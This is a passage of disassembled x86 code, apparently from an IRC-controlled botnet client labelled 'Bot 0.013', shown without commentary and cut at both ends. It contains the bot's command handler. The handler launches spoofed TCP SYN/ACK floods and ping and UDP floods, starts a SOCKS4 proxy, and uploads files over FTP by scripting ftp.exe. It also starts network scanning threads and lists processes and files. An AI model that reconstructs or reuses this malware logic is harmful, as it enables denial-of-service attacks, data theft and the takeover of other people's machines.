sub_409848+4C5Fj ; sub_409848+4F2Dj call sub_401F0F loc_40E7AA: ; CODE XREF: sub_409848+36B7j add esp, 18h jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40E7B2: ; CODE XREF: sub_409848+1242j ; sub_409848+1256j push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401FAF loc_40E7C6: ; CODE XREF: sub_409848+1DFj ; sub_409848+4CB7j ... add esp, 10h jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40E7CE: ; CODE XREF: sub_409848+121Aj ; sub_409848+122Ej and [ebp+var_7EC], 0 cmp [ebp+var_14], 0 jz short loc_40E80F mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40E80F push ebx push [ebp+var_14] call sub_417440 test eax, eax pop ecx pop ecx jz short loc_40E80F push eax push offset aS_2 ; "%s" lea eax, [ebp+var_7EC] push 80h push eax call sub_416BCD add esp, 10h loc_40E80F: ; CODE XREF: sub_409848+4F91j ; sub_409848+4F9Cj ... push [ebp+var_9C] lea eax, [ebp+var_86C] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov [ebp+var_870], eax mov eax, [ebp+var_4] mov [ebp+var_768], eax mov eax, [ebp+var_C] mov [ebp+var_764], eax lea eax, [ebp+var_2F0] push offset aLogListingLog_ ; "[LOG]: Listing log." push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Dh push eax call sub_413732 add esp, 20h mov [ebp+var_76C], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_870] push eax push offset sub_402021 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_76C] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40E8B4 call dword_422008 ; RtlGetLastWin32Error push eax push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "... jmp loc_40FAF8 ; --------------------------------------------------------------------------- loc_40E8AC: ; CODE XREF: sub_409848+5072j push 32h call dword_422000 ; Sleep loc_40E8B4: ; CODE XREF: sub_409848+5051j cmp [ebp+var_760], esi jz short loc_40E8AC jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40E8C1: ; CODE XREF: sub_409848+11F2j ; sub_409848+1206j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401E97 push offset aMainAliasList_ ; "[MAIN]: Alias list." call sub_401F0F loc_40E8DC: ; CODE XREF: sub_409848+4BC0j add esp, 10h jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40E8E4: ; CODE XREF: sub_409848+11CAj ; sub_409848+11DEj push [ebp+var_9C] lea eax, [ebp+var_484] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A0] mov [ebp+var_488], eax mov eax, [ebp+var_4] mov [ebp+var_3FC], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_3F8], eax jz short loc_40E93D push 4 xor eax, eax mov edi, offset aSub ; "sub" mov esi, ebx pop ecx repe cmpsb setz al mov [ebp+var_400], eax jmp short loc_40E944 ; --------------------------------------------------------------------------- loc_40E93D: ; CODE XREF: sub_409848+50DAj and [ebp+var_400], 0 loc_40E944: ; CODE XREF: sub_409848+50F3j lea eax, [ebp+var_2F0] push offset aThreadsListThr ; "[THREADS]: List threads." push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 20h push eax call sub_413732 add esp, 14h mov [ebp+var_404], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_488] push eax push offset sub_413A33 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_404] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40E9B7 call dword_422008 ; RtlGetLastWin32Error push eax push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"... jmp loc_40D747 ; --------------------------------------------------------------------------- loc_40E9AF: ; CODE XREF: sub_409848+5175j push 32h call dword_422000 ; Sleep loc_40E9B7: ; CODE XREF: sub_409848+5154j cmp [ebp+var_3F4], esi jz short loc_40E9AF jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40E9C4: ; CODE XREF: sub_409848+1150j ; sub_409848+1164j push offset aBot013 ; "Bot013" lea eax, [ebp+var_2F0] push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s." push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 20h jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40E9FC: ; CODE XREF: sub_409848+1128j ; sub_409848+113Cj push dword_480AD8 call sub_4129E9 push eax lea eax, [ebp+var_2F0] push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s." push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 24h jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40EA3B: ; CODE XREF: sub_409848+1100j ; sub_409848+1114j mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40EA6E cmp [ebp+var_14], 0 jz short loc_40EA7D push ebx push [ebp+var_14] call sub_417440 test eax, eax pop ecx pop ecx jz short loc_40EA7D push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_405D17 add esp, 0Ch jmp short loc_40EA7D ; --------------------------------------------------------------------------- loc_40EA6E: ; CODE XREF: sub_409848+51FCj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_405D17 pop ecx pop ecx loc_40EA7D: ; CODE XREF: sub_409848+5202j ; sub_409848+5211j ... push 0FFFFFFFEh pop eax jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40EA85: ; CODE XREF: sub_409848+10D8j ; sub_409848+10ECj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_405D17 push offset aMainDisconnect ; "[MAIN]: Disconnecting." call sub_401F0F add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40EAA7: ; CODE XREF: sub_409848+10B0j ; sub_409848+10C4j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_405D17 push offset aMainReconnecti ; "[MAIN]: Reconnecting." call sub_401F0F add esp, 0Ch xor eax, eax jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40EAC8: ; CODE XREF: sub_409848+1088j ; sub_409848+109Cj push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call start loc_40EAD9: ; CODE XREF: sub_409848+361Ej add esp, 0Ch jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40EAE1: ; CODE XREF: sub_409848+FE8j ; sub_409848+FFCj push [ebp+ebx+var_A0] push 1Fh push offset aProcessList ; "Process list" push offset aProc ; "[PROC]" jmp short loc_40EB09 ; --------------------------------------------------------------------------- loc_40EAF6: ; CODE XREF: sub_409848+FC0j ; sub_409848+FD4j push [ebp+ebx+var_A0] push 1Ch push offset aFindFile ; "Find file" push offset aFindfile_0 ; "[FINDFILE]" loc_40EB09: ; CODE XREF: sub_409848+E45j ; sub_409848+E6Dj ... push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_413968 add esp, 20h jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40EB25: ; CODE XREF: sub_409848+E08j ; sub_409848+E1Cj mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40EB44 push esi call sub_416D02 test eax, eax pop ecx jz short loc_40EB44 push esi call sub_416D02 pop ecx jmp short loc_40EB49 ; --------------------------------------------------------------------------- loc_40EB44: ; CODE XREF: sub_409848+52E6j ; sub_409848+52F1j mov eax, dword_42FCB8 loc_40EB49: ; CODE XREF: sub_409848+52FAj mov ebx, [ebp+ebx+var_9C] xor edi, edi cmp ebx, edi mov [ebp+var_40C], eax jz short loc_40EB70 push ebx loc_40EB5D: ; CODE XREF: sub_409848+5338j lea eax, [ebp+var_41C] push 10h push eax call sub_416BCD add esp, 0Ch jmp short loc_40EB89 ; --------------------------------------------------------------------------- loc_40EB70: ; CODE XREF: sub_409848+5312j cmp [ebp+var_38F], 0 jz short loc_40EB82 lea eax, [ebp+var_F0] push eax jmp short loc_40EB5D ; --------------------------------------------------------------------------- loc_40EB82: ; CODE XREF: sub_409848+532Fj and [ebp+var_41C], 0 loc_40EB89: ; CODE XREF: sub_409848+5326j mov eax, [ebp+var_4] push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_400], eax mov eax, [ebp+var_C] mov [ebp+var_3FC], eax lea eax, [ebp+var_49C] push 80h push eax mov [ebp+var_4A0], esi call sub_416BCD add esp, 0Ch push [ebp+var_40C] push esi call sub_408894 pop ecx push eax lea eax, [ebp+var_2F0] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_416975 push edi lea eax, [ebp+var_2F0] push 12h push eax call sub_413732 add esp, 1Ch mov [ebp+var_408], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_4A0] push eax push offset sub_41248E push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_408] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40EC3D call dword_422008 ; RtlGetLastWin32Error push eax push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"... jmp loc_40FAF8 ; --------------------------------------------------------------------------- loc_40EC35: ; CODE XREF: sub_409848+53FBj push 32h call dword_422000 ; Sleep loc_40EC3D: ; CODE XREF: sub_409848+53DAj cmp [ebp+var_3F8], edi jz short loc_40EC35 jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40EC4A: ; CODE XREF: sub_409848+DB8j ; sub_409848+DCCj ... push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz short loc_40EC72 mov edi, eax push 4 mov esi, offset aSec ; "sec" pop ecx xor eax, eax repe cmpsb jz short loc_40EC72 and [ebp+var_300], eax jmp short loc_40EC7C ; --------------------------------------------------------------------------- loc_40EC72: ; CODE XREF: sub_409848+5410j ; sub_409848+5420j mov [ebp+var_300], 1 loc_40EC7C: ; CODE XREF: sub_409848+5428j push [ebp+var_9C] lea eax, [ebp+var_384] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov [ebp+var_388], eax mov eax, [ebp+var_4] mov [ebp+var_2FC], eax mov eax, [ebp+var_C] xor esi, esi add esp, 0Ch cmp [ebp+var_300], esi mov [ebp+var_2F8], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40ECC5 mov eax, offset aUnsecuring ; "Unsecuring" loc_40ECC5: ; CODE XREF: sub_409848+5476j push eax push offset aSecureSSystem_ ; "[SECURE]: %s system." lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD push esi lea eax, [ebp+var_2F0] push 1Ah push eax call sub_413732 add esp, 1Ch mov [ebp+var_304], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_388] push eax push offset sub_411987 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_304] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40ED3C call dword_422008 ; RtlGetLastWin32Error push eax push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... jmp loc_40CA14 ; --------------------------------------------------------------------------- loc_40ED34: ; CODE XREF: sub_409848+54FAj push 32h call dword_422000 ; Sleep loc_40ED3C: ; CODE XREF: sub_409848+54D9j cmp [ebp+var_2F4], esi jz short loc_40ED34 jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40ED49: ; CODE XREF: sub_409848+D90j ; sub_409848+DA4j push offset aBot0_013 ; "[Bot 0.013]" push offset aMainS ; "[MAIN]: %s" loc_40ED53: ; CODE XREF: sub_409848+3D5Cj lea eax, [ebp+var_2F0] push eax call sub_416975 loc_40ED5F: ; CODE XREF: sub_409848+4C14j add esp, 0Ch jmp loc_40B963 ; --------------------------------------------------------------------------- loc_40ED67: ; CODE XREF: sub_409848+D68j ; sub_409848+D7Cj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40EDBF push ebx call sub_416D02 test eax, eax pop ecx jl short loc_40EDB7 cmp eax, 2 jge short loc_40EDB7 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp byte ptr [esi], 0 jz short loc_40EDAF lea eax, [esi+1] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_416975 add esp, 0Ch and byte ptr [esi], 0 jmp short loc_40EE2A ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_409848+5548j push eax push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d." jmp short loc_40EE1B ; --------------------------------------------------------------------------- loc_40EDB7: ; CODE XREF: sub_409848+5533j ; sub_409848+5538j push eax push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d." jmp short loc_40EE1B ; --------------------------------------------------------------------------- loc_40EDBF: ; CODE XREF: sub_409848+5528j mov edx, [ebp+arg_18] xor edi, edi loc_40EDC4: ; CODE XREF: sub_409848+55B9j mov esi, [ebp+var_A4] mov eax, edx loc_40EDCC: ; CODE XREF: sub_409848+55A0j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40EDEE test cl, cl jz short loc_40EDEA mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40EDEE inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40EDCC loc_40EDEA: ; CODE XREF: sub_409848+558Ej xor eax, eax jmp short loc_40EDF3 ; --------------------------------------------------------------------------- loc_40EDEE: ; CODE XREF: sub_409848+558Aj ; sub_409848+5598j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40EDF3: ; CODE XREF: sub_409848+55A4j test eax, eax jz short loc_40EE05 inc edi add edx, 80h cmp edi, 2 jl short loc_40EDC4 jmp short loc_40EE2A ; --------------------------------------------------------------------------- loc_40EE05: ; CODE XREF: sub_409848+55ADj mov eax, [ebp+arg_18] shl edi, 7 and byte ptr [edi+eax], 0 lea eax, [ebp+var_F0] push eax push offset aMainUserSLogge ; "[MAIN]: User %s logged out." loc_40EE1B: ; CODE XREF: sub_409848+1CBBj ; sub_409848+1CE9j ... lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch loc_40EE2A: ; CODE XREF: sub_409848+1C93j ; sub_409848+1CAAj ... cmp [ebp+var_C], 0 jnz short loc_40EE4D push 0 loc_40EE32: ; CODE XREF: sub_409848+59E4j ; sub_409848+5DE9j push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40EE45: ; CODE XREF: sub_409848+2C46j ; sub_409848+2E56j ... call sub_405D62 add esp, 14h loc_40EE4D: ; CODE XREF: sub_409848+11B7j ; sub_409848+2C30j ... xor esi, esi inc esi jmp loc_40AF37 ; --------------------------------------------------------------------------- loc_40EE55: ; CODE XREF: sub_409848+D40j ; sub_409848+D54j mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor edx, edx repe cmpsb jz loc_40AC9B call sub_4138A3 loc_40EE72: ; CODE XREF: sub_409848+4EFEj push 0 call dword_422040 ; ExitProcess loc_40EE7A: ; CODE XREF: sub_409848+153Bj push 8 mov edi, eax mov esi, offset aHttpcon ; "httpcon" pop ecx xor edx, edx repe cmpsb jz loc_40F031 push 5 mov edi, eax mov esi, offset aHcon ; "hcon" pop ecx xor edx, edx repe cmpsb jz loc_40F031 cmp [ebp+ebx+var_90], edx jz loc_409AC6 mov edi, eax push 7 mov esi, offset aUpload ; "upload" pop ecx xor eax, eax repe cmpsb jnz loc_40F93F mov edi, [ebp+ebx+var_90] push 4 push edi call sub_40318A test eax, eax pop ecx pop ecx jnz short loc_40EEF2 push edi push offset aFtpFileNotFoun ; "[FTP]: File not found: %s." loc_40EEDE: ; CODE XREF: sub_409848+4263j lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch jmp loc_40D1C6 ; --------------------------------------------------------------------------- loc_40EEF2: ; CODE XREF: sub_409848+568Ej call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx call sub_416B31 push 9 cdq pop ecx idiv ecx push edx call sub_416B31 push 63h cdq pop ecx idiv ecx push edx call sub_416B31 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_1E04] push edx push eax lea eax, [ebp+var_1560] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_416975 lea eax, [ebp+var_1560] push offset aAb ; "ab" push eax call sub_41720C add esp, 20h test eax, eax mov [ebp+var_1C], eax jz loc_409AC6 mov esi, [ebp+ebx+var_A0] push edi push [ebp+arg_0] push [ebp+ebx+var_98] push [ebp+ebx+var_9C] push esi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_4178A4 push [ebp+var_1C] call sub_416E7D lea eax, [ebp+var_1560] push eax lea eax, [ebp+var_85C] push offset aSS_4 ; "-s:%s" push eax call sub_416975 add esp, 2Ch xor eax, eax push eax push eax lea ecx, [ebp+var_85C] push ecx push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push eax call dword_43A4CC ; ShellExecuteA test eax, eax push esi push edi jz short loc_40EFCD push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s" jmp short loc_40EFD2 ; --------------------------------------------------------------------------- loc_40EFCD: ; CODE XREF: sub_409848+577Cj push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"... loc_40EFD2: ; CODE XREF: sub_409848+5783j call sub_416975 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40EFFD push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40EFFD: ; CODE XREF: sub_409848+5796j lea eax, [ebp+var_2F0] push eax call sub_401F0F jmp short loc_40F017 ; --------------------------------------------------------------------------- loc_40F00B: ; CODE XREF: sub_409848+57E2j lea eax, [ebp+var_1560] push eax call sub_418075 loc_40F017: ; CODE XREF: sub_409848+57C1j lea eax, [ebp+var_1560] push 4 push eax call sub_40318A add esp, 0Ch test eax, eax jnz short loc_40F00B jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40F031: ; CODE XREF: sub_409848+5640j ; sub_409848+5654j push [ebp+ebx+var_90] push [ebp+arg_0] push [ebp+ebx+var_98] push [ebp+ebx+var_9C] call sub_416D02 pop ecx push eax push [ebp+ebx+var_A0] push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_40503C jmp loc_40F93C ; --------------------------------------------------------------------------- loc_40F070: ; CODE XREF: sub_409848+1513j ; sub_409848+1527j push [ebp+ebx+var_A0] lea eax, [ebp+var_1134] push 80h push eax call sub_416BCD add esp, 0Ch push 4 lea edi, [ebp+var_1134] mov esi, offset aSyn ; "syn" pop ecx xor eax, eax repe cmpsb jz short loc_40F0D1 push 4 lea edi, [ebp+var_1134] mov esi, offset aAck ; "ack" pop ecx xor eax, eax repe cmpsb jz short loc_40F0D1 push 7 lea edi, [ebp+var_1134] mov esi, offset aRandom_0 ; "random" pop ecx xor eax, eax repe cmpsb jz short loc_40F0D1 push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified." jmp loc_40F212 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_409848+5855j ; sub_409848+5869j ... push [ebp+arg_0] call sub_416D02 test eax, eax pop ecx mov [ebp+var_102C], eax jle loc_40F20D mov eax, [ebp+ebx+var_A0] push eax mov [ebp+var_8], eax mov esi, 80h lea eax, [ebp+var_1134] push esi push eax call sub_416BCD mov edi, [ebp+ebx+var_9C] push edi lea eax, [ebp+var_11B4] push esi push eax call sub_416BCD mov ebx, [ebp+ebx+var_98] push ebx call sub_416D02 push [ebp+var_9C] mov [ebp+var_1030], eax xor eax, eax cmp byte ptr [ebp+var_380+2], al push esi setnz al mov [ebp+var_1028], eax mov eax, [ebp+arg_4] mov [ebp+var_11B8], eax lea eax, [ebp+var_10B4] push eax call sub_416BCD mov eax, [ebp+var_4] mov [ebp+var_1024], eax mov eax, [ebp+var_C] add esp, 28h cmp [ebp+var_1028], 0 mov [ebp+var_1020], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40F182 mov eax, offset aNormal ; "Normal" loc_40F182: ; CODE XREF: sub_409848+5933j push [ebp+arg_0] push ebx push edi push [ebp+var_8] push eax push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"... lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Dh push eax call sub_413732 add esp, 2Ch mov [ebp+var_1034], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_11B8] push eax push offset sub_412E87 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_1034] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40F203 call dword_422008 ; RtlGetLastWin32Error push eax push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"... jmp loc_40F8C9 ; --------------------------------------------------------------------------- loc_40F1FB: ; CODE XREF: sub_409848+59C1j push 32h call dword_422000 ; Sleep loc_40F203: ; CODE XREF: sub_409848+59A0j cmp [ebp+var_101C], esi jz short loc_40F1FB jmp short loc_40F222 ; --------------------------------------------------------------------------- loc_40F20D: ; CODE XREF: sub_409848+589Aj push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"... loc_40F212: ; CODE XREF: sub_409848+5884j lea eax, [ebp+var_2F0] push eax call sub_416975 pop ecx pop ecx loc_40F220: ; CODE XREF: sub_409848+5B1Ej xor esi, esi loc_40F222: ; CODE XREF: sub_409848+46CDj ; sub_409848+59C3j ... cmp [ebp+var_C], esi jnz loc_40EE4D push esi jmp loc_40EE32 ; --------------------------------------------------------------------------- loc_40F231: ; CODE XREF: sub_409848+14D7j ; sub_409848+14EBj ... cmp dword_43A548, 0 jnz loc_40F34D mov eax, [ebp+var_C] mov [ebp+var_624], eax mov eax, [ebp+var_4] push 7Fh push [ebp+ebx+var_A0] mov [ebp+var_628], eax lea eax, [ebp+var_6BC] push eax call sub_416A00 push [ebp+ebx+var_9C] call sub_416D02 push [ebp+ebx+var_98] mov [ebp+var_63C], eax call sub_416D02 push [ebp+arg_0] mov [ebp+var_638], eax call sub_416D02 push 7Fh push [ebp+var_9C] mov [ebp+var_634], eax lea eax, [ebp+var_73C] push eax call sub_416A00 push [ebp+var_634] mov eax, [ebp+arg_4] push [ebp+var_638] mov [ebp+var_740], eax lea eax, [ebp+var_6BC] push eax push [ebp+var_63C] lea eax, [ebp+var_2F0] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Fh push eax call sub_413732 add esp, 48h mov [ebp+var_62C], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_740] push eax push offset sub_40893A push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_62C] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40F340 call dword_422008 ; RtlGetLastWin32Error push eax push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... jmp loc_40F8C9 ; --------------------------------------------------------------------------- loc_40F338: ; CODE XREF: sub_409848+5AFEj push 32h call dword_422000 ; Sleep loc_40F340: ; CODE XREF: sub_409848+5ADDj cmp [ebp+var_620], esi jz short loc_40F338 jmp loc_40F222 ; --------------------------------------------------------------------------- loc_40F34D: ; CODE XREF: sub_409848+59F0j push 1FFh lea eax, [ebp+var_2F0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416A00 add esp, 0Ch jmp loc_40F220 ; --------------------------------------------------------------------------- loc_40F36B: ; CODE XREF: sub_409848+149Bj ; sub_409848+14AFj ... mov eax, [ebp+var_C] mov edi, [ebp+var_4] push 7Fh push [ebp+ebx+var_A0] mov [ebp+var_624], eax lea eax, [ebp+var_6BC] push eax mov [ebp+var_628], edi call sub_416A00 push [ebp+ebx+var_9C] call sub_416D02 push [ebp+ebx+var_98] mov [ebp+var_63C], eax call sub_416D02 push [ebp+arg_0] mov [ebp+var_638], eax call sub_416D02 mov ebx, [ebp+ebx+var_90] xor esi, esi add esp, 18h cmp ebx, esi mov [ebp+var_634], eax jz short loc_40F3E3 push ebx call sub_416D02 pop ecx mov [ebp+var_630], eax jmp short loc_40F3E9 ; --------------------------------------------------------------------------- loc_40F3E3: ; CODE XREF: sub_409848+5B8Aj mov [ebp+var_630], esi loc_40F3E9: ; CODE XREF: sub_409848+5B99j push 7Fh push [ebp+var_9C] lea eax, [ebp+var_73C] push eax call sub_416A00 push [ebp+var_634] mov ebx, [ebp+arg_4] push [ebp+var_638] lea eax, [ebp+var_6BC] push eax push [ebp+var_63C] lea eax, [ebp+var_2F0] push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"... push eax mov [ebp+var_740], ebx call sub_416975 push esi lea eax, [ebp+var_2F0] push 10h push eax call sub_413732 add esp, 30h mov [ebp+var_62C], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_740] push eax push offset sub_408AC3 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_62C] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40F4AA call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"... push eax call sub_416975 add esp, 0Ch loc_40F492: ; CODE XREF: sub_409848+5C6Aj cmp [ebp+var_C], esi jnz loc_40EE4D push esi push edi jmp loc_40C8C2 ; --------------------------------------------------------------------------- loc_40F4A2: ; CODE XREF: sub_409848+5C68j push 32h call dword_422000 ; Sleep loc_40F4AA: ; CODE XREF: sub_409848+5C2Dj cmp [ebp+var_620], esi jz short loc_40F4A2 jmp short loc_40F492 ; --------------------------------------------------------------------------- loc_40F4B4: ; CODE XREF: sub_409848+1473j ; sub_409848+1487j push 9 call sub_413922 mov esi, [ebp+ebx+var_9C] push esi mov edi, eax call sub_416D02 add eax, edi cmp eax, 258h pop ecx pop ecx jle short loc_40F506 push edi lea eax, [ebp+var_2F0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 jmp loc_40D17F ; --------------------------------------------------------------------------- loc_40F506: ; CODE XREF: sub_409848+5C8Bj push [ebp+ebx+var_A0] call sub_416D02 push esi mov [ebp+var_4F4], eax call sub_416D02 push [ebp+ebx+var_98] mov [ebp+var_4DC], eax call sub_416D02 add esp, 0Ch cmp eax, 5 mov [ebp+var_4F0], eax jnb short loc_40F547 push 5 pop eax mov [ebp+var_4F0], eax loc_40F547: ; CODE XREF: sub_409848+5CF4j push 3Ch pop ecx cmp eax, ecx jbe short loc_40F554 mov [ebp+var_4F0], ecx loc_40F554: ; CODE XREF: sub_409848+5D04j push [ebp+arg_0] call sub_416D02 mov [ebp+var_4EC], eax mov eax, 320h cmp [ebp+var_4EC], eax pop ecx jbe short loc_40F576 mov [ebp+var_4EC], eax loc_40F576: ; CODE XREF: sub_409848+5D26j push [ebp+arg_4] or [ebp+var_4D8], 0FFFFFFFFh call sub_408894 pop ecx lea edx, [ebp+var_60C] loc_40F58C: ; CODE XREF: sub_409848+5D4Cj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_40F58C xor edi, edi cmp dword_42E068, edi mov [ebp+var_5FC], edi mov [ebp+var_10], edi jz short loc_40F60C mov ecx, offset dword_42E068 loc_40F5AE: ; CODE XREF: sub_409848+5DA4j mov edi, [ebp+ebx+var_A0] lea esi, [ecx-28h] loc_40F5B8: ; CODE XREF: sub_409848+5D8Cj mov dl, [esi] mov al, dl cmp dl, [edi] jnz short loc_40F5DA test al, al jz short loc_40F5D6 mov dl, [esi+1] mov al, dl cmp dl, [edi+1] jnz short loc_40F5DA inc esi inc esi inc edi inc edi test al, al jnz short loc_40F5B8 loc_40F5D6: ; CODE XREF: sub_409848+5D7Aj xor eax, eax jmp short loc_40F5DF ; --------------------------------------------------------------------------- loc_40F5DA: ; CODE XREF: sub_409848+5D76j ; sub_409848+5D84j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40F5DF: ; CODE XREF: sub_409848+5D90j test eax, eax jz short loc_40F5F0 inc [ebp+var_10] add ecx, 3Ch cmp dword ptr [ecx], 0 jnz short loc_40F5AE jmp short loc_40F60A ; --------------------------------------------------------------------------- loc_40F5F0: ; CODE XREF: sub_409848+5D99j mov eax, [ebp+var_10] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42E068[ecx] mov [ebp+var_4F4], ecx mov [ebp+var_4D8], eax loc_40F60A: ; CODE XREF: sub_409848+5DA6j xor edi, edi loc_40F60C: ; CODE XREF: sub_409848+5D5Fj cmp [ebp+var_4F4], edi jnz short loc_40F636 push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... loc_40F619: ; CODE XREF: sub_409848+5EA2j lea eax, [ebp+var_2F0] push eax call sub_416975 loc_40F625: ; CODE XREF: sub_409848+4799j pop ecx pop ecx loc_40F627: ; CODE XREF: sub_409848+48B7j ; sub_409848+48CCj cmp [ebp+var_C], edi jnz loc_40EE4D push edi jmp loc_40EE32 ; --------------------------------------------------------------------------- loc_40F636: ; CODE XREF: 